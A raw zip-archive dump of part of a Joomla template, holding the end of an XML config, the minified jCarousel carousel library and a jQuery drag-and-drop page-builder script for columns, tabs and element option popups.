				<field name="slider-duration"
					type="text"
					label="Duration"
					default="600"
				/>
			</fieldset>
		</fields>
	</config>
	
</extension>PK!��L"="=+bluetheme/assets/js/jquery.jcarousel.min.jsnu&1i�/*!
 * jCarousel - Riding carousels with jQuery
 *   http://sorgalla.com/jcarousel/
 *
 * Copyright (c) 2006 Jan Sorgalla (http://sorgalla.com)
 * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
 *
 * Built on top of the jQuery library
 *   http://jquery.com
 *
 * Inspired by the "Carousel Component" by Bill Scott
 *   http://billwscott.com/carousel/
 */

(function(g){var q={vertical:!1,rtl:!1,start:1,offset:1,size:null,scroll:3,visible:null,animation:"normal",easing:"swing",auto:0,wrap:null,initCallback:null,setupCallback:null,reloadCallback:null,itemLoadCallback:null,itemFirstInCallback:null,itemFirstOutCallback:null,itemLastInCallback:null,itemLastOutCallback:null,itemVisibleInCallback:null,itemVisibleOutCallback:null,animationStepCallback:null,buttonNextHTML:"<div></div>",buttonPrevHTML:"<div></div>",buttonNextEvent:"click",buttonPrevEvent:"click", buttonNextCallback:null,buttonPrevCallback:null,itemFallbackDimension:null},m=!1;g(window).bind("load.jcarousel",function(){m=!0});g.jcarousel=function(a,c){this.options=g.extend({},q,c||{});this.autoStopped=this.locked=!1;this.buttonPrevState=this.buttonNextState=this.buttonPrev=this.buttonNext=this.list=this.clip=this.container=null;if(!c||c.rtl===void 0)this.options.rtl=(g(a).attr("dir")||g("html").attr("dir")||"").toLowerCase()=="rtl";this.wh=!this.options.vertical?"width":"height";this.lt=!this.options.vertical? this.options.rtl?"right":"left":"top";for(var b="",d=a.className.split(" "),f=0;f<d.length;f++)if(d[f].indexOf("jcarousel-skin")!=-1){g(a).removeClass(d[f]);b=d[f];break}a.nodeName.toUpperCase()=="UL"||a.nodeName.toUpperCase()=="OL"?(this.list=g(a),this.clip=this.list.parents(".jcarousel-clip"),this.container=this.list.parents(".jcarousel-container")):(this.container=g(a),this.list=this.container.find("ul,ol").eq(0),this.clip=this.container.find(".jcarousel-clip"));if(this.clip.size()===0)this.clip= this.list.wrap("<div></div>").parent();if(this.container.size()===0)this.container=this.clip.wrap("<div></div>").parent();b!==""&&this.container.parent()[0].className.indexOf("jcarousel-skin")==-1&&this.container.wrap('<div class=" '+b+'"></div>');this.buttonPrev=g(".jcarousel-prev",this.container);if(this.buttonPrev.size()===0&&this.options.buttonPrevHTML!==null)this.buttonPrev=g(this.options.buttonPrevHTML).appendTo(this.container);this.buttonPrev.addClass(this.className("jcarousel-prev"));this.buttonNext= g(".jcarousel-next",this.container);if(this.buttonNext.size()===0&&this.options.buttonNextHTML!==null)this.buttonNext=g(this.options.buttonNextHTML).appendTo(this.container);this.buttonNext.addClass(this.className("jcarousel-next"));this.clip.addClass(this.className("jcarousel-clip")).css({position:"relative"});this.list.addClass(this.className("jcarousel-list")).css({overflow:"hidden",position:"relative",top:0,margin:0,padding:0}).css(this.options.rtl?"right":"left",0);this.container.addClass(this.className("jcarousel-container")).css({position:"relative"}); !this.options.vertical&&this.options.rtl&&this.container.addClass("jcarousel-direction-rtl").attr("dir","rtl");var j=this.options.visible!==null?Math.ceil(this.clipping()/this.options.visible):null,b=this.list.children("li"),e=this;if(b.size()>0){var h=0,i=this.options.offset;b.each(function(){e.format(this,i++);h+=e.dimension(this,j)});this.list.css(this.wh,h+100+"px");if(!c||c.size===void 0)this.options.size=b.size()}this.container.css("display","block");this.buttonNext.css("display","block");this.buttonPrev.css("display", "block");this.funcNext=function(){e.next()};this.funcPrev=function(){e.prev()};this.funcResize=function(){e.resizeTimer&&clearTimeout(e.resizeTimer);e.resizeTimer=setTimeout(function(){e.reload()},100)};this.options.initCallback!==null&&this.options.initCallback(this,"init");!m&&g.browser.safari?(this.buttons(!1,!1),g(window).bind("load.jcarousel",function(){e.setup()})):this.setup()};var f=g.jcarousel;f.fn=f.prototype={jcarousel:"0.2.8"};f.fn.extend=f.extend=g.extend;f.fn.extend({setup:function(){this.prevLast= this.prevFirst=this.last=this.first=null;this.animating=!1;this.tail=this.resizeTimer=this.timer=null;this.inTail=!1;if(!this.locked){this.list.css(this.lt,this.pos(this.options.offset)+"px");var a=this.pos(this.options.start,!0);this.prevFirst=this.prevLast=null;this.animate(a,!1);g(window).unbind("resize.jcarousel",this.funcResize).bind("resize.jcarousel",this.funcResize);this.options.setupCallback!==null&&this.options.setupCallback(this)}},reset:function(){this.list.empty();this.list.css(this.lt, "0px");this.list.css(this.wh,"10px");this.options.initCallback!==null&&this.options.initCallback(this,"reset");this.setup()},reload:function(){this.tail!==null&&this.inTail&&this.list.css(this.lt,f.intval(this.list.css(this.lt))+this.tail);this.tail=null;this.inTail=!1;this.options.reloadCallback!==null&&this.options.reloadCallback(this);if(this.options.visible!==null){var a=this,c=Math.ceil(this.clipping()/this.options.visible),b=0,d=0;this.list.children("li").each(function(f){b+=a.dimension(this, c);f+1<a.first&&(d=b)});this.list.css(this.wh,b+"px");this.list.css(this.lt,-d+"px")}this.scroll(this.first,!1)},lock:function(){this.locked=!0;this.buttons()},unlock:function(){this.locked=!1;this.buttons()},size:function(a){if(a!==void 0)this.options.size=a,this.locked||this.buttons();return this.options.size},has:function(a,c){if(c===void 0||!c)c=a;if(this.options.size!==null&&c>this.options.size)c=this.options.size;for(var b=a;b<=c;b++){var d=this.get(b);if(!d.length||d.hasClass("jcarousel-item-placeholder"))return!1}return!0}, get:function(a){return g(">.jcarousel-item-"+a,this.list)},add:function(a,c){var b=this.get(a),d=0,p=g(c);if(b.length===0)for(var j,e=f.intval(a),b=this.create(a);;){if(j=this.get(--e),e<=0||j.length){e<=0?this.list.prepend(b):j.after(b);break}}else d=this.dimension(b);p.get(0).nodeName.toUpperCase()=="LI"?(b.replaceWith(p),b=p):b.empty().append(c);this.format(b.removeClass(this.className("jcarousel-item-placeholder")),a);p=this.options.visible!==null?Math.ceil(this.clipping()/this.options.visible): null;d=this.dimension(b,p)-d;a>0&&a<this.first&&this.list.css(this.lt,f.intval(this.list.css(this.lt))-d+"px");this.list.css(this.wh,f.intval(this.list.css(this.wh))+d+"px");return b},remove:function(a){var c=this.get(a);if(c.length&&!(a>=this.first&&a<=this.last)){var b=this.dimension(c);a<this.first&&this.list.css(this.lt,f.intval(this.list.css(this.lt))+b+"px");c.remove();this.list.css(this.wh,f.intval(this.list.css(this.wh))-b+"px")}},next:function(){this.tail!==null&&!this.inTail?this.scrollTail(!1): this.scroll((this.options.wrap=="both"||this.options.wrap=="last")&&this.options.size!==null&&this.last==this.options.size?1:this.first+this.options.scroll)},prev:function(){this.tail!==null&&this.inTail?this.scrollTail(!0):this.scroll((this.options.wrap=="both"||this.options.wrap=="first")&&this.options.size!==null&&this.first==1?this.options.size:this.first-this.options.scroll)},scrollTail:function(a){if(!this.locked&&!this.animating&&this.tail){this.pauseAuto();var c=f.intval(this.list.css(this.lt)), c=!a?c-this.tail:c+this.tail;this.inTail=!a;this.prevFirst=this.first;this.prevLast=this.last;this.animate(c)}},scroll:function(a,c){!this.locked&&!this.animating&&(this.pauseAuto(),this.animate(this.pos(a),c))},pos:function(a,c){var b=f.intval(this.list.css(this.lt));if(this.locked||this.animating)return b;this.options.wrap!="circular"&&(a=a<1?1:this.options.size&&a>this.options.size?this.options.size:a);for(var d=this.first>a,g=this.options.wrap!="circular"&&this.first<=1?1:this.first,j=d?this.get(g): this.get(this.last),e=d?g:g-1,h=null,i=0,k=!1,l=0;d?--e>=a:++e<a;){h=this.get(e);k=!h.length;if(h.length===0&&(h=this.create(e).addClass(this.className("jcarousel-item-placeholder")),j[d?"before":"after"](h),this.first!==null&&this.options.wrap=="circular"&&this.options.size!==null&&(e<=0||e>this.options.size)))j=this.get(this.index(e)),j.length&&(h=this.add(e,j.clone(!0)));j=h;l=this.dimension(h);k&&(i+=l);if(this.first!==null&&(this.options.wrap=="circular"||e>=1&&(this.options.size===null||e<= this.options.size)))b=d?b+l:b-l}for(var g=this.clipping(),m=[],o=0,n=0,j=this.get(a-1),e=a;++o;){h=this.get(e);k=!h.length;if(h.length===0){h=this.create(e).addClass(this.className("jcarousel-item-placeholder"));if(j.length===0)this.list.prepend(h);else j[d?"before":"after"](h);if(this.first!==null&&this.options.wrap=="circular"&&this.options.size!==null&&(e<=0||e>this.options.size))j=this.get(this.index(e)),j.length&&(h=this.add(e,j.clone(!0)))}j=h;l=this.dimension(h);if(l===0)throw Error("jCarousel: No width/height set for items. This will cause an infinite loop. Aborting..."); this.options.wrap!="circular"&&this.options.size!==null&&e>this.options.size?m.push(h):k&&(i+=l);n+=l;if(n>=g)break;e++}for(h=0;h<m.length;h++)m[h].remove();i>0&&(this.list.css(this.wh,this.dimension(this.list)+i+"px"),d&&(b-=i,this.list.css(this.lt,f.intval(this.list.css(this.lt))-i+"px")));i=a+o-1;if(this.options.wrap!="circular"&&this.options.size&&i>this.options.size)i=this.options.size;if(e>i){o=0;e=i;for(n=0;++o;){h=this.get(e--);if(!h.length)break;n+=this.dimension(h);if(n>=g)break}}e=i-o+ 1;this.options.wrap!="circular"&&e<1&&(e=1);if(this.inTail&&d)b+=this.tail,this.inTail=!1;this.tail=null;if(this.options.wrap!="circular"&&i==this.options.size&&i-o+1>=1&&(d=f.intval(this.get(i).css(!this.options.vertical?"marginRight":"marginBottom")),n-d>g))this.tail=n-g-d;if(c&&a===this.options.size&&this.tail)b-=this.tail,this.inTail=!0;for(;a-- >e;)b+=this.dimension(this.get(a));this.prevFirst=this.first;this.prevLast=this.last;this.first=e;this.last=i;return b},animate:function(a,c){if(!this.locked&& !this.animating){this.animating=!0;var b=this,d=function(){b.animating=!1;a===0&&b.list.css(b.lt,0);!b.autoStopped&&(b.options.wrap=="circular"||b.options.wrap=="both"||b.options.wrap=="last"||b.options.size===null||b.last<b.options.size||b.last==b.options.size&&b.tail!==null&&!b.inTail)&&b.startAuto();b.buttons();b.notify("onAfterAnimation");if(b.options.wrap=="circular"&&b.options.size!==null)for(var c=b.prevFirst;c<=b.prevLast;c++)c!==null&&!(c>=b.first&&c<=b.last)&&(c<1||c>b.options.size)&&b.remove(c)}; this.notify("onBeforeAnimation");if(!this.options.animation||c===!1)this.list.css(this.lt,a+"px"),d();else{var f=!this.options.vertical?this.options.rtl?{right:a}:{left:a}:{top:a},d={duration:this.options.animation,easing:this.options.easing,complete:d};if(g.isFunction(this.options.animationStepCallback))d.step=this.options.animationStepCallback;this.list.animate(f,d)}}},startAuto:function(a){if(a!==void 0)this.options.auto=a;if(this.options.auto===0)return this.stopAuto();if(this.timer===null){this.autoStopped= !1;var c=this;this.timer=window.setTimeout(function(){c.next()},this.options.auto*1E3)}},stopAuto:function(){this.pauseAuto();this.autoStopped=!0},pauseAuto:function(){if(this.timer!==null)window.clearTimeout(this.timer),this.timer=null},buttons:function(a,c){if(a==null&&(a=!this.locked&&this.options.size!==0&&(this.options.wrap&&this.options.wrap!="first"||this.options.size===null||this.last<this.options.size),!this.locked&&(!this.options.wrap||this.options.wrap=="first")&&this.options.size!==null&& this.last>=this.options.size))a=this.tail!==null&&!this.inTail;if(c==null&&(c=!this.locked&&this.options.size!==0&&(this.options.wrap&&this.options.wrap!="last"||this.first>1),!this.locked&&(!this.options.wrap||this.options.wrap=="last")&&this.options.size!==null&&this.first==1))c=this.tail!==null&&this.inTail;var b=this;this.buttonNext.size()>0?(this.buttonNext.unbind(this.options.buttonNextEvent+".jcarousel",this.funcNext),a&&this.buttonNext.bind(this.options.buttonNextEvent+".jcarousel",this.funcNext), this.buttonNext[a?"removeClass":"addClass"](this.className("jcarousel-next-disabled")).attr("disabled",a?!1:!0),this.options.buttonNextCallback!==null&&this.buttonNext.data("jcarouselstate")!=a&&this.buttonNext.each(function(){b.options.buttonNextCallback(b,this,a)}).data("jcarouselstate",a)):this.options.buttonNextCallback!==null&&this.buttonNextState!=a&&this.options.buttonNextCallback(b,null,a);this.buttonPrev.size()>0?(this.buttonPrev.unbind(this.options.buttonPrevEvent+".jcarousel",this.funcPrev), c&&this.buttonPrev.bind(this.options.buttonPrevEvent+".jcarousel",this.funcPrev),this.buttonPrev[c?"removeClass":"addClass"](this.className("jcarousel-prev-disabled")).attr("disabled",c?!1:!0),this.options.buttonPrevCallback!==null&&this.buttonPrev.data("jcarouselstate")!=c&&this.buttonPrev.each(function(){b.options.buttonPrevCallback(b,this,c)}).data("jcarouselstate",c)):this.options.buttonPrevCallback!==null&&this.buttonPrevState!=c&&this.options.buttonPrevCallback(b,null,c);this.buttonNextState= a;this.buttonPrevState=c},notify:function(a){var c=this.prevFirst===null?"init":this.prevFirst<this.first?"next":"prev";this.callback("itemLoadCallback",a,c);this.prevFirst!==this.first&&(this.callback("itemFirstInCallback",a,c,this.first),this.callback("itemFirstOutCallback",a,c,this.prevFirst));this.prevLast!==this.last&&(this.callback("itemLastInCallback",a,c,this.last),this.callback("itemLastOutCallback",a,c,this.prevLast));this.callback("itemVisibleInCallback",a,c,this.first,this.last,this.prevFirst, this.prevLast);this.callback("itemVisibleOutCallback",a,c,this.prevFirst,this.prevLast,this.first,this.last)},callback:function(a,c,b,d,f,j,e){if(!(this.options[a]==null||typeof this.options[a]!="object"&&c!="onAfterAnimation")){var h=typeof this.options[a]=="object"?this.options[a][c]:this.options[a];if(g.isFunction(h)){var i=this;if(d===void 0)h(i,b,c);else if(f===void 0)this.get(d).each(function(){h(i,this,d,b,c)});else for(var a=function(a){i.get(a).each(function(){h(i,this,a,b,c)})},k=d;k<=f;k++)k!== null&&!(k>=j&&k<=e)&&a(k)}}},create:function(a){return this.format("<li></li>",a)},format:function(a,c){for(var a=g(a),b=a.get(0).className.split(" "),d=0;d<b.length;d++)b[d].indexOf("jcarousel-")!=-1&&a.removeClass(b[d]);a.addClass(this.className("jcarousel-item")).addClass(this.className("jcarousel-item-"+c)).css({"float":this.options.rtl?"right":"left","list-style":"none"}).attr("jcarouselindex",c);return a},className:function(a){return a+" "+a+(!this.options.vertical?"-horizontal":"-vertical")}, dimension:function(a,c){var b=g(a);if(c==null)return!this.options.vertical?b.outerWidth(!0)||f.intval(this.options.itemFallbackDimension):b.outerHeight(!0)||f.intval(this.options.itemFallbackDimension);else{var d=!this.options.vertical?c-f.intval(b.css("marginLeft"))-f.intval(b.css("marginRight")):c-f.intval(b.css("marginTop"))-f.intval(b.css("marginBottom"));g(b).css(this.wh,d+"px");return this.dimension(b)}},clipping:function(){return!this.options.vertical?this.clip[0].offsetWidth-f.intval(this.clip.css("borderLeftWidth"))- f.intval(this.clip.css("borderRightWidth")):this.clip[0].offsetHeight-f.intval(this.clip.css("borderTopWidth"))-f.intval(this.clip.css("borderBottomWidth"))},index:function(a,c){if(c==null)c=this.options.size;return Math.round(((a-1)/c-Math.floor((a-1)/c))*c)+1}});f.extend({defaults:function(a){return g.extend(q,a||{})},intval:function(a){a=parseInt(a,10);return isNaN(a)?0:a},windowLoaded:function(){m=!0}});g.fn.jcarousel=function(a){if(typeof a=="string"){var c=g(this).data("jcarousel"),b=Array.prototype.slice.call(arguments, 1);return c[a].apply(c,b)}else return this.each(function(){var b=g(this).data("jcarousel");b?(a&&g.extend(b.options,a),b.reload()):g(this).data("jcarousel",new f(this,a))})}})(jQuery);
PK!4:�|�|�*bluetheme/assets/js/plugin-designbackup.jsnu&1i�/*! Plugin Design - v1.0
* http://shinetheme.com
* author 	:Pham Tien Duc
* email 	:ducphamtien@gmail.com
* Copyright 2013  */

var arrayType;
var data_ele;
jQuery(document).ready(function(){
	addEventPopup();
	arrayType=jQuery.parseJSON(jQuery('#st-arrName').attr("data"));
	if(jQuery('#st-page>li').length>0){
		jQuery('#st-page>li').each(function(){
			if(jQuery(this).hasClass("st-column")){
				jQuery(this).removeClass("st-column").addClass("st-column-container");
				AddColumn(this);
				data = jQuery.parseJSON(jQuery(this).attr("data"));
				ColumnDesign(this,data.content);
			}else if(jQuery(this).hasClass("st-tabs")){
				jQuery(this).removeClass("st-tabs").addClass("st-tabs-container");
				AddTab(this);
				data = jQuery.parseJSON(jQuery(this).attr("data"));
				TabsDesign(this,data.content);
			}
		});
		AddEvent();
	}
	jQuery('#st-page li').removeClass("btn");
	addsort();
	jQuery( "#draggable li" ).draggable({
		connectToSortable: ".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
		helper: "clone",
		revert: "invalid"
	});
	// Remove action button toolbar default Joomla
	jQuery("#toolbar button").removeAttr("onclick");
	// Add Event Save
	buttonsave();
	// Append Input Name to Toolbar
	jQuery(".namepage .st-namepage").appendTo("#toolbar");
});

function makeid()
{
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    for( var i=0; i < 5; i++ )
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
}
// Add Event sorttable
function addsort(){
	jQuery( ".sortable" ).sortable({
		connectToSortable: "#draggable",
		connectWith:".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
	    revert: true,
	    receive: function(event, ui) {
      		AddEvent(); // add Event 
        },
        start: function( event, ui ) {
        	if(jQuery(ui.item).hasClass("st-column-container")){
        		jQuery(ui.item).find('.st-columns').hide();
        		jQuery(ui.item).find('.btn-group').hide();
        		jQuery(ui.item).css('height','40');
        	}else if(jQuery(ui.item).hasClass("st-tabs-container")){
        		 jQuery(ui.item).find('.st-tabitems').hide();
        		 jQuery(ui.item).css('height','40');
        	}
        },
        stop: function( event, ui ) {
        	if(ui.item.hasClass("st-column")){
        		jQuery(ui.item).removeClass("st-column").addClass("st-column-container");
        		jQuery(ui.item).find('.st-edit').remove();
	    		AddColumn(ui.item);
	    	}
	    	else if(ui.item.hasClass("st-tabs")){
	    		jQuery(ui.item).removeClass("st-tabs").addClass("st-tabs-container");
	    		AddTab(ui.item);
	    	}else if(ui.item.hasClass("st-column-container")){
	    		jQuery(ui.item).find('.st-columns').show();
        		jQuery(ui.item).find('.btn-group').show();
        		jQuery(ui.item).css('height','auto');
	    	}else if(jQuery(ui.item).hasClass("st-tabs-container")){
	    		jQuery(ui.item).find('.st-tabitems').show();
        		jQuery(ui.item).css('height','auto');
	    	}
        }
	});
}

function addsortSub(){
	jQuery( ".sortable" ).sortable({
		connectToSortable: "#draggable",
		connectWith:".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
	    revert: true,
	    receive: function(event, ui) {
      		AddEvent(); // add Event 
        },
        stop: function( event, ui ) {
        	if(ui.item.hasClass("st-column")){
        		jQuery(ui.item).remove();
        		alert('no support');
	    	}
	    	ui.item.removeClass("btn");
        }
	});
}


function addEventPopup(){
	jQuery('.stmodal').stbox({
		padding     :0,
		openEffect	: 'elastic',
		closeEffect	: 'elastic',
		helpers : {
			overlay:{
			  	closeClick :false,
			  	speedOut   : 200
			},
			title:null
		},
		closeBtn : false,
		autoSize : false,
		beforeLoad  :function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){
				case "youtube":
					this.width=350;
					this.height=350;
					break;
				case "vimeo":
					this.width=350;
					this.height=350;
					break;
				case "moduleid":
					this.width=300;
					this.height=220;
					break;
				case "alert":
					this.width=400;
					this.height=400;
					break;
				case "article_box":
					this.width=350;
					this.height=330;
					break;
				case "recent_article":
					this.width=500;
					this.height=450;
					jQuery(this.content).find('.st-nav-option').css({height:"380"});
					break;
				case "tabs":
					this.width=280;
					this.height=280;
					break;
				case "divider":
					this.width=300;
					this.height=280;
					break;
				case "flickr":
					this.width=350;
					this.height=370;
					break;
				case "fb_likebox":
					this.width=450;
					this.height=400;
					jQuery(this.content).find('.st-nav-option').css({height:"330"});
					break;
			}
		},
		afterLoad:function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){
				case "moduleid":
					jQuery('#st-element-modules').appendTo(".st-navigation .st-listmodule");
					checkList('id','#jform_modules');
					break;
				case "article_box":
					//load combobox article
					if(jQuery('.st-navigation .st-extension').val()=='com_k2'){
						jQuery('#st-element #st-element-k2contents').appendTo(".st-navigation .st-article");
						checkList('article_id','#jform_k2contents');
					}else{
						jQuery('#st-element #st-element-contents').appendTo(".st-navigation .st-article");
						checkList('article_id','#jform_contents');
					}
					break;
				case "recent_article":
					//load combobox Category
					if(jQuery('.st-navigation .st-extension').val()=='com_k2'){
						jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
						checkList('category_id','#jformk2category');
					}else{
						jQuery('#st-element #st-element-category').appendTo(".st-navigation .st-category");
						checkList('category_id','#jform_category');
					}
					break;
			}
			jQuery(this.content).find('.btn-cancel').click(function(){
				jQuery.stbox.close();
			});
			jQuery(this.content).find('.icon-cancel-circle').click(function(){
				jQuery.stbox.close();
			});
		},
		beforeClose:function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){
				case "moduleid":
					jQuery(this.content).find('#st-element-modules').appendTo("#st-element");
					break;
				case "article_box":
					jQuery(this.content).find('#st-element-k2contents').appendTo("#st-element");
					jQuery(this.content).find('#st-element-contents').appendTo("#st-element");
					break;
				case "recent_article":
					jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
					jQuery(this.content).find('#st-element-category').appendTo("#st-element");
					break;
			}
		}
	});
}

// AddEvent 
function AddEvent(){
	// add event data
	jQuery('#st-page li .st-edit').bind('click',function(){
		jQuery('#st-page li').removeClass("st-focus");
		select = jQuery(this).closest('li');
		select.addClass("st-focus");
		data_ele = jQuery.parseJSON(select.attr("data"));
		switch(data_ele.type){
			case "gallery":
				getGalleryOption(data_ele);
				break;
			case "vimeo":
				getVimeoOption(data_ele);
				break;
			case "youtube":
				getYoutubeOption(data_ele);
				break;
			case "alert":
				getMessageBoxOption(data_ele);
				break;
			case "recent_article":
				getArticleRecentOption(data_ele);
				break;
			case "article_box":
				getArticleBoxOption(data_ele);
				break;
			case "moduleid":
				getModuleOption(data_ele);
				break;
			case "divider":
				getDividerOption(data_ele);
				break;
			case "tabs":
				getTabsOption(data_ele);
				break;
			case "flickr":
			    getFlickrOption(data_ele);	
			    break;
			case "fb_likebox":
			    getFb_likbeboxOption(data_ele);
			    break;
			case "slider":
			    getSliderOption(data_ele);
			    break; 
			default:
				break;
		}
	});
	//add event close item
	jQuery('#st-page .st-close').bind('click',function(e){
		jQuery(this).closest('li').remove();
	});

	//add event close item
	jQuery('#st-page .st-hide').toggle(function(){
		var sele =jQuery(this).closest('li');
		sele.find('.st-columns').addClass('none');
		sele.find('.column-button-group').addClass("none");
		sele.find('.st-tabitems').addClass("none");
	},function(){
		var sele =jQuery(this).closest('li');
		sele.find('.st-columns').removeClass('none');
		sele.find('.column-button-group').removeClass("none");
		sele.find('.st-tabitems').removeClass("none");
	});
}


function checkList(id,sle){
	if(typeof(data_ele.attr[id])!='undefined'){
		jQuery('.st-navigation '+sle).val(data_ele.attr[id]);
		jQuery('.st-navigation  '+sle+' option[value='+data_ele.attr[id]+']').attr('selected','selected');
		var sele = jQuery('.st-navigation  '+sle+' option[value='+data_ele.attr[id]+']').text();
		jQuery('.st-navigation .chzn-container .chzn-single>span').text(sele);
		jQuery('.st-navigation .chzn-container .chzn-results li').removeClass("result-selected");
		jQuery('.st-navigation .chzn-container .chzn-results li').each(function(){
			if(jQuery(this).text()==sele){
				jQuery(this).addClass("result-selected ");
			}
		});
	}
}

// AddTab
function AddTab(item){
	data = jQuery.parseJSON(jQuery(item).attr("data"));
	var id = makeid();
	content ='<div class="st-tabitems">';
		content+='<ul class="nav nav-tabs" id="myTab">';
		for(i=0;i<data.content.length;i++){
			content+='<li '+((i==0)?'class="active"':'')+'><a href="#'+id+'-'+i+'">'+data.content[i].attr.title+'</a></li>';
		}
		content+='</ul>';
		content+='<div class="tab-content">';
		for(i=0;i<data.content.length;i++){
			content+='<div class="tab-pane '+((i==0)?'active':'')+'" id="'+id+'-'+i+'"><ul class="sortable sortable-tabitem"></ul></div>';
		}
		content+='</div>';
	content+='</div>';
	jQuery(item).append(content);
	jQuery('#myTab a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	addsort();
}	
//End Addtab

// AddColumn
function AddColumn(item){
	data = jQuery.parseJSON(jQuery(item).attr("data"));
	content ='<div class="row-fluid st-columns">';
	for(i=0;i<data.content.length;i++){
		content+='<div class="span'+data.content[i].attr.col+'" index="'+i+'">';
		content+='<span class="st-changerow" href="#st-navigation" index="'+i+'"><i class="icon-cog-2"></i></span>';
		content+='<ul class="sortable sortable-column"></ul>';
		content+='</div>';
	}
	content+='</div>';
	content+='<div class="btn-group column-button-group">';
		for(i=1;i<=6;i++)
			content+='<span class="btn '+((i==data.content.length)?'btn-primary':'')+'">'+i+'</span>';
	content+='</div>';
	jQuery(item).append(content);
	changeColumn();
	addsort();
	changeSpan();
}

function changeSpan(){
	jQuery('.st-changerow').stbox({
		padding     : 0,
		openEffect	: 'elastic',
		closeEffect	: 'elastic',
		helpers : {
			overlay:{
			  	closeClick :false,
			  	speedOut   : 200
			},
			title:null
		},
		closeBtn : false,
		autoSize : false,
		beforeLoad:function(){
			this.width=300;
			this.height=300;
			var sele = jQuery(this.element).closest(".st-column-container");
			var data = jQuery.parseJSON(sele.attr("data"));
			var index = jQuery(this.element).attr("index");
			content ="<div class='st-nav-title'><i class='icon-columns'></i> Column<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
			content+="<div class='st-nav-option'>";
				content+="<label>Column</label>";
				content+="<div class='row-fluid'><select class='st-column span12'>";
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">span'+i+'</option>';
				}
				content+="</select></div>";
				content+="<button class='btn btn-primary'>Save</button>";
				content+="<button class='btn btn-cancel'>Cancel</button>";
			content+="</div>";
			jQuery('.st-navigation').html(content);
			jQuery('.st-navigation .st-column option[value="'+data.content[index].attr.col+'"]').attr("selected","selected");
			jQuery('.st-navigation .btn-cancel').click(function(){
				jQuery.stbox.close();
			});
			jQuery('.st-navigation .icon-cancel-circle').click(function(){
				jQuery.stbox.close();
			});
			jQuery('.st-navigation .btn-primary').click(function(){
				var s = jQuery('.st-navigation .st-column').val();
				data.content[index].attr.col = s;
				sele.attr("data",JSON.stringify(data));
				sele.find('div[index="'+index+'"]').attr("class","").addClass("span"+s);
				jQuery.stbox.close();
			});
		}
	});
}

function changeColumn(){
	jQuery('.column-button-group span.btn').bind('click',function(){
		if(!jQuery(this).hasClass("btn-primary")){
			var sl = jQuery(this).closest('div');
			sl.find('span.btn').removeClass("btn-primary");
			jQuery(this).addClass("btn-primary");
			var col = jQuery(this).text();
			var data = jQuery.parseJSON(jQuery(jQuery(this).closest("li")).attr("data"));
			
			var loop = true;
			if(col==5) classspan=2;
			else classspan=(12/col);
			sl.prev().find('[class^="span"]').attr("class","span"+classspan);
			var len = data.content.length;
			if(col>data.content.length){
				// Add column
				for(i=0;i<(col-len);i++){
					var index = sl.prev().find('>[class^="span"]').length;
					sl.prev().append("<div class='span"+classspan+"' index='"+index+"'><ul class='sortable sortable-column'></ul></div>");
					arr = {"type":"column_item","content":"","attr":{"col":classspan}};
					data.content.push(arr);
				}
			}else{
				//remove column
				for(i=0;i<(len-col);i++){
					sl.prev().find('[class^="span"]:last-child').remove();
					data.content.pop();
				}
			}
			for(i=0;i<data.content.length;i++){
				if(i==4 && data.content.length==5) data.content[i].attr.col=4;
				else data.content[i].attr.col=classspan;
			}
			if(col==5) sl.prev().find('[index^="4"]').attr("class","span4");
			sl.parent().attr("data",JSON.stringify(data));
			addsort();
		}
	});
}

function ColumnDesign(sele,data){
	jQuery(sele).find('.sortable-column').each(function(index){
		for(i=0;i<data[index].content.length;i++){
			var html="";
			if(arrayType[data[index].content[i].type].type=="tabs"){
				arrayType[data[index].content[i].type].class="st-tabs-container";
			}
			html+="<li data-type='"+arrayType[data[index].content[i].type].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].type].class+"' style='display:block;' data='"+JSON.stringify(data[index].content[i])+"'>";
			html+="<div class='st-header-title'>";
			html+="<span class='st-name'>"+arrayType[data[index].content[i].type].name+"</span> ";
			html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
			html+="<span href='#st-navigation' data-type='"+arrayType[data[index].content[i].type].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
			if(arrayType[data[index].content[i].type].type=="tabs"){
			html+='<span class="st-hide"><i class="icon-new-window"></i></span>';
			}
			html+="</div>";
			if(data[index].content[i].type=='tabs'){
				var id = makeid();
				html+='<div class="st-tabitems">';
					html+='<ul class="nav nav-tabs" id="myTab">';
					for(j=0;j<data[index].content[i].content.length;j++){
						html+='<li '+((j==0)?'class="active"':'')+'><a href="#'+id+'-'+j+'">'+data[index].content[i].content[j].attr.title+'</a></li>';
					}
					html+='</ul>';
					html+='<div class="tab-content">';
					for(j=0;j<data[index].content[i].content.length;j++){
						html+='<div class="tab-pane '+((j==0)?'active':'')+'" id="'+id+'-'+j+'"><ul class="sortable sortable-tabitem">';
						for(var k=0;k<data[index].content[i].content[j].content.length;k++){
							html+="<li data-type='"+data[index].content[i].content[j].content[k].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].content[j].content[k].type].class+"' style='display:block;' data='"+JSON.stringify(data[index].content[i].content[j].content[k])+"'>";
								html+="<div class='st-header-title'>";
									html+="<span class='st-name'>"+arrayType[data[index].content[i].content[j].content[k].type].name+"</span> ";
									html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
									html+="<span href='#st-navigation' data-type='"+data[index].content[i].content[j].content[k].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
								html+="</div>";
							html+="</li>";
						}
						html+='</ul></div>';
					}
					html+='</div>';
				html+='</div>';
			}
			html+="</li>";
